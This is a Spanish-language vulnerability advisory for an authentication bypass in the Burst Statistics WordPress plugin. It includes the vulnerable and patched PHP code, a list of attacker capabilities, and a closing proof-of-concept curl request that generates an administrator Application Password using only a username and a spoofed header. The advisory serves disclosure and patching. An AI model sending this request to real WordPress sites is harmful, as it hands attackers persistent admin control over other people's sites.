
El plugin Burst Statistics – Privacy-Friendly WordPress Analytics (Google Analytics Alternative) para WordPress es vulnerable a Authentication Bypass
Resumen de la Vulnerabilidad
El plugin de WordPress Burst Statistics versiones 3.4.0 a 3.4.1.1 es vulnerable a una vulnerabilidad de bypass de autenticación no autenticado que conduce a una toma de control total de la cuenta de administrador. Este fallo crítico permite a un atacante no autenticado que conozca cualquier nombre de usuario de administrador generar una Contraseña de Aplicación de WordPress válida para esa cuenta en una única solicitud HTTP, logrando acceso persistente a nivel de administrador a todo el sitio.
La vulnerabilidad se origina en la función is_mainwp_authenticated() en class-mainwp-proxy.php. Esta función llama a wp_authenticate_application_password() y solo verifica si el resultado es un WP_Error. No verifica si el resultado es realmente un objeto WP_User exitoso. Cuando el filtro interno de WordPress application_password_is_api_request devuelve false — lo que ocurre cuando la llamada se realiza fuera del flujo normal de autenticación de la API REST — la función de WordPress devuelve null en lugar de un WP_Error o WP_User. Debido a que null no es un WP_Error, la verificación pasa, y el usuario administrador elegido por el atacante se establece como el usuario actual mediante wp_set_current_user().
Una vez que el usuario actual se cambia a un administrador, las comprobaciones de capacidad posteriores pasan. El atacante puede entonces acceder al endpoint REST /burst/v1/mainwp-auth, que crea una Contraseña de Aplicación de WordPress para la cuenta de administrador y la devuelve en la respuesta. Esto le da al atacante acceso persistente y completo a nivel de administrador.
Plugin Afectado
| Campo | Valor |
|---|---|
| Nombre del Plugin | Burst Statistics – Privacy-Friendly WordPress Analytics |
| Slug del Plugin | burst-statistics |
| Versiones Afectadas | 3.4.0 – 3.4.1.1 |
| Versión Parcheada | 3.4.2 |
| ID CVE | CVE-2026-8181 |
| Puntuación CVSS | 9.8 (Crítico) |
| Vector CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Tipo de Vulnerabilidad | Bypass de Autenticación (Autenticación Inadecuada) |
| CWE | CWE-287 — Autenticación Inadecuada |
| Impacto | Toma de Control Completa del Sitio — Toma de Control de Cuenta de Administrador |
Qué Pueden Hacer los Atacantes
| Capacidad | Impacto |
|---|---|
| Generar Contraseña de Aplicación para cualquier administrador | Acceso Admin Persistente |
| Crear nuevas cuentas de administrador mediante la API REST | Proliferación de Cuentas |
| Instalar plugins / temas | Ejecución Remota de Código |
| Editar entradas, páginas y ajustes | Desfiguración del Sitio |
| Exportar o eliminar todos los datos del sitio | Destrucción / Exfiltración de Datos |
| Acceder a WooCommerce / datos de clientes | Filtración de Datos |
Análisis Técnico
Burst Statistics se inicializa durante el hook plugins_loaded de WordPress en prioridad 9, dentro de class-burst.php:
// class-burst.php, line 118
if ( $this->has_admin_access() ) {
$this->admin = new Admin();
$this->admin->init();
...
}
has_admin_access() es el guardián de toda la funcionalidad de administración. Comprueba la cabecera X-BurstMainWP y llama a la función vulnerable:
// trait-admin-helper.php, lines 202-211
if ( isset( $_SERVER['HTTP_X_BURSTMAINWP'] ) && $_SERVER['HTTP_X_BURSTMAINWP'] === '1' ) {
$mainwp_proxy = new \Burst\Frontend\MainWP_Proxy();
if ( $mainwp_proxy->is_mainwp_authenticated() ) {
return burst_loader()->has_admin_access = true;
}
...
}
is_mainwp_authenticated()// class-mainwp-proxy.php, lines 313-342 (vulnerable 3.4.1.1)
public function is_mainwp_authenticated(): bool {
$auth_header = sanitize_text_field( wp_unslash( $_SERVER['HTTP_AUTHORIZATION'] ?? '' ) );
if ( ! empty( $auth_header ) && stripos( $auth_header, 'basic ' ) === 0 ) {
$credentials = base64_decode( substr( $auth_header, 6 ), true );
if ( ! $credentials ) {
return false;
}
$parts = explode( ':', $credentials, 2 );
if ( count( $parts ) !== 2 ) {
return false;
}
$username = $parts[0];
$password = $parts[1];
// VULNERABLE: wp_authenticate_application_password() returns null
// outside the REST API authentication flow
$is_valid = wp_authenticate_application_password( null, $username, $password );
// BUG: Only checks if result is WP_Error. null is NOT WP_Error → PASSES!
if ( is_wp_error( $is_valid ) ) {
return false;
}
$user = get_user_by( 'login', $username );
if ( ! $user || ! user_can( $user, 'manage_burst_statistics' ) ) {
return false;
}
wp_set_current_user( $user->ID );
return true;
}
return false;
}
wp_authenticate_application_password() Devuelve nullLa función interna de WordPress wp_authenticate_application_password() tiene un filtro:
if ( ! apply_filters( 'application_password_is_api_request', false ) ) {
return null; // Not an API request, skip app password auth
}
Cuando se llama fuera del flujo de autenticación de la API REST, esto devuelve null. El código de Burst Statistics solo verificaba is_wp_error($is_valid) — null no es un WP_Error, por lo que la verificación pasa incorrectamente.
X-BurstMainWP: 1 con cualquier solicitudhas_admin_access() desencadena is_mainwp_authenticated()wp_authenticate_application_password() devuelve null (no está en contexto API)is_wp_error(null) = false → la verificación pasawp_set_current_user($admin_id) se ejecuta/burst/v1/mainwp-authhandle_auth_request() genera una Contraseña de Aplicación de WordPressbase64(nombre_usuario:contraseña_app)// class-mainwp-proxy.php, lines 399-415 (patched 3.4.2)
$allow_application_password_request = static function (): bool {
return true;
};
add_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );
$authenticated_user = wp_authenticate_application_password( null, $parts[0], $parts[1] );
remove_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );
if ( ! $authenticated_user instanceof \WP_User ) {
return false;
}
if ( ! hash_equals( (string) $authenticated_user->user_login, $parts[0] ) ) {
return false;
}
Correcciones aplicadas:
application_password_is_api_request a true para que ocurra la validación real de la contraseñaWP_User (no null)hash_equals() para confirmar la coincidencia del nombre de usuarioAdemás, se endureció check_auth_permission() para el endpoint REST, requiriendo current_user_can('manage_burst_statistics') y verificación explícita de nonce para solicitudes autenticadas por cookie.
Prueba de Concepto
# Step 1: Verify target is vulnerable (mint Application Password)
curl -s -X POST 'https://target.com/?rest_route=/burst/v1/mainwp-auth' \
-H 'Authorization: Basic YWRtaW46YW55dGhpbmc=' \
-H 'X-BurstMainWP: 1' \
-H 'Content-Type: application/json' \
-d '{}'
# Response: {"token":"YWRtaW46QmNpMzZwZG90SDBNS21iTTNXWFpGNGV2"}